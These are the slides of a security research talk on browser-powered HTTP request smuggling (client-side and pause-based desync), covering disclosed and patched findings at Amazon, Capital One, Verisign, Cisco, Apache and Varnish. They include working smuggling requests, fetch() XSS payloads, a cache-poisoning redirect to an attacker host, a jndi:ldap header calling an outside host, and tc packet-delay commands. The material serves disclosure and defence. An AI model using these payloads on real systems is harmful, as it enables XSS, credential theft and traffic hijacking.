Browser-Powered Desync Attacks

A New Frontier in HTTP Request Smuggling

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Warning / disclaimer

These slides are intended to supplement the presentation.
They are not suitable for stand-alone consumption.

You can find the whitepaper and presentation recording here:
https://portswigger.net/research/browser-powered-desync-attacks

If it's not uploaded yet, you can get notified when it's ready by following me at https://twitter.com/albinowax

- albinowax

A problem and a discovery

2019

CVE-2020-12440

Problem: Request Smuggling false positives

Solution: Never reuse HTTP/1.1 connections

2021

Problem: Connection-locked request smuggling

Solution: Always reuse HTTP/1.1 connections



Outline

- HTTP handling anomalies
- Client-side desync
- Pause-based desync
- Defence & Takeaways
- Q&A


replica lab on portswigger.net/academy


portswigger/{http-request-smuggler,turbo-intruder}

Full PoC exploit code available in whitepaper

HTTP handling anomalies

The request is a lie

Connection state attacks: first-request validation

```
GET / HTTP/1.1
Host: www.example.com
```

```
HTTP/1.1 200 OK
```

```
GET / HTTP/1.1
Host: intranet.example.com
```

```
-connection reset-
```

```
GET / HTTP/1.1
Host: www.example.com

GET / HTTP/1.1
Host: intranet.example.com
```

```
HTTP/1.1 200 OK


HTTP/1.1 200 OK

Internal website
```

Connection state attacks: first-request routing

```
POST /pwreset HTTP/1.1
Host: example.com
```

```
HTTP/1.1 302 Found
Location: /login
```

```
POST /pwreset HTTP/1.1
Host: psres.net
```

```
HTTP/1.1 421 Misdirected
```

```
POST /pwreset HTTP/1.1
Host: example.com

POST /pwreset HTTP/1.1
Host: psres.net
```

```
HTTP/1.1 302 Found
Location: /login

HTTP/1.1 302 Found
Location: /login
```

```
Reset your password: https://psres.net/reset?k=secret
```

The surprise factor

2021-07-28: Reported
2021-08-05: Fixed

:method	POST
:path	/

```
0

malicious-prefix
```

aws ALB

```
POST / HTTP/1.1
Transfer-Encoding: chunked

0

malicious-prefix
```

For request smuggling, all you need is a server taken by surprise

Detecting regular CL.TE

```
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0

GET /hopefully404 HTTP/1.1
Foo: bar
```

READ

```
HTTP/1.1 301 Moved Permanently
Location: /en
```

```
GET / HTTP/1.1
Host: example.com
```

READ

```
HTTP/1.1 404 Not Found
Content-Length: 162…
```

Detecting connection-locked CL.TE

Is the front-end using the Content-Length? **Can't tell**

```
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0

GET /hopefully404 HTTP/1.1
Foo: barGET / HTTP/1.1
Host: example.com
```

```
HTTP/1.1 301 Moved Permanently
Location: /en
```

←READ

```
HTTP/1.1 301 Moved Permanently
Location: /en
```

←READ

```
HTTP/1.1 404 Not Found
Content-Length: 162…
```

Detecting connection-locked CL.TE

Is the front-end using the Content-Length? **No**

```
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0

GET /hopefully404 HTTP/1.1
Foo: bar
```

EARLY READ ←

```
HTTP/1.1 301 Moved Permanently
Location: /en
```

Detecting connection-locked CL.TE

Is the front-end using the Content-Length? **Yes**

```
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked

0

GET /hopefully404 HTTP/1.1
Foo: barGET / HTTP/1.1
Host: example.com
```

← EARLY READ ⌛ <no data>

← READ
```
HTTP/1.1 301 Moved Permanently
Location: /en
```

← READ
```
HTTP/1.1 404 Not Found
Content-Length: 162…
```

Finding: Barracuda ADC in front of IIS. Patched in 6.5.0.007

CL.0 browser-compatible desync

```
POST / HTTP/1.1
Host: redacted
Content-Length: 3

xyzGET / HTTP/1.1
Host: redacted
```

```
HTTP/1.1 200 OK



HTTP/1.1 405 Method Not Allowed
```

Taxonomy

TE.CL and CL.TE // classic request smuggling
H2.CL and H2.TE // HTTP/2 downgrade smuggling
CL.0 // this
H2.0 // implied by CL.0
0.CL and 0.TE // unexploitable without pipelining

H2.0 on amazon.com

2021-10-26: Reported
<2022-08-10: Fixed

```
POST /b/? HTTP/2
Host: www.amazon.com
Content-Length: 31

GET /favicon.ico HTTP/1.1
X: XGET / HTTP/1.1
Host: www.amazon.com
```

```
HTTP/2 200 OK
Content-Type: text/html


HTTP/2 200 OK
Content-Type: image/x-icon
```




```
POST /gp/customer-reviews/aj/private/
reviewsGallery/get-image-gallery HTTP/1.1
X-Amz-SideCar-Enabled: on
X-Amz-Sidecar-Destination-Host:
http://us-other-iad7.amazon.com:1080
X-Forwarded-Host: …
```

Client-Side Desync (CSD)

Client-side desync



CSD Methodology



Tool requirements:

- Connection-reuse visibility & controls
- Content-Length override
- HTTP Request Smugger 2.1 / Turbo Intruder 1.3, Burp Suite {Pro,Community} 2022.8

Browser:

- CSD works similarly on all browsers tested
- Chrome has the most useful dev tools

Detect CSD vector



1. Server ignores Content-Length
   - Server-error
   - Surprise factor

2. Request can be triggered cross-domain
   - POST method, no unusual headers
   - Server doesn't support HTTP/2*

3. Server leaves connection open

```
POST /favicon.ico HTTP/1.1
Host: example.com
Content-Type: text/plain
Content-Length: 5

X
```

Confirm vector in browser



- Disable proxy, open cross-domain HTTPS attacker site
- Open DevTools Network tab, enable Preserve Log & Connection ID

```
fetch('https://example.com/..%2f', {
  method: 'POST',
  body: "GET /hopefully404 HTTP/1.1\r\nX: Y",
  mode: 'no-cors',          // make devtools useful
  credentials: 'include' // poison correct pool
}).then(() => {
  location = 'https://example.com/'
})
```

Poisoned status

Name	Status	Type	Initiator	Connection ID
exploit	200	document	Other	1175759
..%2f	500	fetch		1175794
0ad300ac04...	404	document		1175794

Matching connection IDs

Explore exploitation routes



Store

Chain & Pivot

- User-Agent: ${jndi:ldap://x.oastify.com}
- Impossible CSRF

Attack

- Host-header redirects
- HEAD-splicing XSS
- Challenges: precision, stacked-responses

Akamai - detection




```
POST /assets HTTP/1.1
Host: www.capitalone.ca
Content-Length: 30

GET /robots.txt HTTP/1.1
X: YGET /assets/ HTTP/1.1
Host: www.capitalone.ca
```

```
HTTP/1.1 301 Moved Permanently
Location: /assets/


HTTP/1.1 200 OK

Allow: /
```

```
fetch('https://www.capitalone.ca/assets', {method: 'POST',
body: "GET /robots.txt HTTP/1.1\r\nX: Y", mode: 'no-cors',
credentials: 'include'})
```

Name	Status	Connection ID
/assets	301	1135468
/assets/	200	1135468

```
Allow: /
```

Akamai – Stacked HEAD




```
POST /assets HTTP/1.1
Host: www.capitalone.ca
Content-Length: 67

HEAD /404/?cb=123 HTTP/1.1

GET /x?<script>evil() HTTP/1.1
X: YGET / HTTP/1.1                    ←READ
Host: www.capitalone.ca
                                      OVER
                                      READ
                                      HTTP/1.1 301 Moved Permanently

                                      HTTP/1.1 301 Moved Permanently
                                      Location: /assets/

                                      HTTP/1.1 404 Not Found

                                      HTTP/1.1 404 Not Found
                                      Content-Type: text/html
                                      Content-Length: 432837

                                      HTTP/1.1 301 Moved Permanently
                                ←READ Location: /x/?<script>evil()
```

Akamai – Stacked HEAD




```
fetch('https://www.capitalone.ca/assets', {
  method: 'POST',

  // use a cache-buster to delay the response
  body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n
         Host: www.capitalone.ca\r\n
         \r\n
         GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n
         X: Y`,
  credentials: 'include',
  mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
   location = 'https://www.capitalone.ca/'
})
```

2021-11-03: Reported
<2022-05-23: Fixed

Cisco Web VPN - Client-side Cache Poisoning

`https://psres.net/launchAttack.html:`

```
POST / HTTP/1.1
Host: redacted.com
Content-Length: 46

GET /+webvpn+/ HTTP/1.1
Host: psres.net
X: YGET /+CSCOE+/win.js HTTP/1.1
Host: redacted.com
```

```
HTTP/1.1 200 OK
```

Browser cache entry for /win.js is now poisoned

```
HTTP/1.1 301 Moved Permanently
Location: https://psres.net/+webvpn+/index
```

```
=> https://redacted.com/+CSCOE+/logon.html
     <script src="https://redacted.com/+CSCOE+/win.js">
     => 301 Moved Permanently (from cache)
     => https://psres.net/+webvpn+/index
     => malicious()
```

2021-11-10: Reported
2022-03-02: wontfix'd
CVE-2022-20713

Verisign – fragmented chunk

2021-12-22: Reported
2022-07-21: Fixed

```
POST /%2f HTTP/1.1
Host: www.verisign.com
Content-Length: 81

HEAD / HTTP/1.1
Connection: keep-alive
Transfer-Encoding: chunked

34d
POST / HTTP/1.1
Host: www.verisign.com
Content-Length: 59

0

GET /<script>evil() HTTP/1.1
Host: www.verisign.com
```

```
HTTP/1.1 200 OK

HTTP/1.1 200 OK
Content-Length: 54873
Content-Type: text/html

HTTP/1.1 301 Moved Permanently
Location: /en_US/<script>evil()/index.xhtml
```

Pulse Secure VPN – an approach of last resort

Regular CSD attacks:

1. Create a poisoned connection
2. Trigger navigation



Hijacking JS with a non-cacheable redirect:

1. Navigate to target page
2. Guess when the page has loaded
3. Create some poisoned connections
4. Hope a JS import uses a poisoned connection



Making it plausible:

- Pre-connect to normalise target page load time
- Combine with window for multiple attempts
- Identify page with non-cacheable JS import

Pause-based desync

Pause-based desync

```
POST /admin HTTP/1.1
Content-Length: 41
⌛ wait for response
GET /404 HTTP/1.1
Foo: barGET / HTTP/1.1
Host: example.com
```




```
if (req.url ~ "^/admin") {
      return (synth(403, "Forbidden"));
}
```

VARNISH CACHE

```
Redirect 301 /redirect /destination
```

APACHE HTTP SERVER PROJECT

Server-side pause-based desync



Requirement: Front-end forwards request headers without waiting for body

Turbo Intruder queue() arguments:

```
pauseTime=20000, pauseBefore=-41,  pauseMarker=['GET']
```

Pause-based desync with ALB

```
POST /admin HTTP/1.1
Content-Length: 23
⌛ 20s
GET /404 HTTP/1.1
X: Y
```




```
POST /admin HTTP/1.1
Content-Length: 23
⌛ 10s
GET /404 HTTP/1.1
X: Y

GET / HTTP/1.1
Host: example.com
```



Pause-based desync with matching timeouts

```
POST /admin HTTP/1.1
Content-Length: 23
⌛ 60s
GET /404 HTTP/1.1
X: Y

GET / HTTP/1.1
Host: example.com
```



~~Zero-padding chunk size~~
~~Stripped chunk extensions~~

~~TCP duplicate packet~~
~~TCP out-of-order packet~~

66-hour attack

Client-side pause-based desync via MITM

The theory:

- Attacker website sends request, padded to cause TCP fragmentation
- MITM identifies the TCP packet containing the request body via the size
- MITM delays this packet, causing a server timeout & pause-based desync
- The delayed packet is then interpreted as a new message



MITM-based desync using Traffic control

```
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 if between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
    match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
        and 'cmp(u16 at 2 layer network gt 0x02bc)' \
        and 'cmp(u16 at 2 layer network lt 0x0514)' \
    flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
```

Demo: Breaking HTTPS on Apache

Apache CVE-2022-22720
2021-12-17: Reported
2022-03-14: Patched in 2.4.53

Varnish CVE-2022-23959
2021-12-17: Reported
2022-01-25: Patched in 7.0.2/6.6.2


root@ip-172-31-43-219: /home/ubuntu
root@ip-172-31-43-219:/home/ubuntu# tc filter show dev eth0; tc qdisc show; tcpdump -n dst 34.255.5.242 and src 172.31.45.77;
[0] 0:bash- 1:tcpdump*
"ip-172-31-43-219" 16:42 19-Jul-22

Defence

- Use HTTP/2 end to end
  - Don’t downgrade/rewrite HTTP/2 requests to HTTP/1
- Don't roll your own HTTP server, but if you do:
  - Never assume there's no Content-Length
  - Default to discarding the socket
  - Don't attach state to a connection

References & further reading

Whitepaper, slides & academy topic

https://portswigger.net/research/browser-powered-desync-attacks
https://portswigger.net/web-security/request-smuggling/browser

Practice labs

- Connection-state SSRF
- CL.0 desync
- CSD request capture
- CSD cache poisoning
- Pause-based CL.0

Source code @ github

PortSwigger/http-request-smuggler
PortSwigger/turbo-intruder

Scan

- Client-side desync
- Pause-based desync
- Connection-state probe
- CL.0 desync

References & further reading:

HTTP Desync Attacks: https://portswigger.net/research/http-desync-attacks
HTTP/2 Desync Attacks: https://portswigger.net/research/http2
HTTP Request Smuggling: https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
HTTP Request Smuggling in 2020 - https://www.youtube.com/watch?v=Zm-myHU8-RQ
Response Smuggling - https://www.youtube.com/watch?v=suxDcYViwao

You might also like:

Internal Server Error

Exploiting Inter-Process Communication in SAP's HTTP Server

Airing today at 1330 by Martin Doyhenard

Takeaways

The request is a lie

No front-end is no escape

All you need is a server taken by surprise

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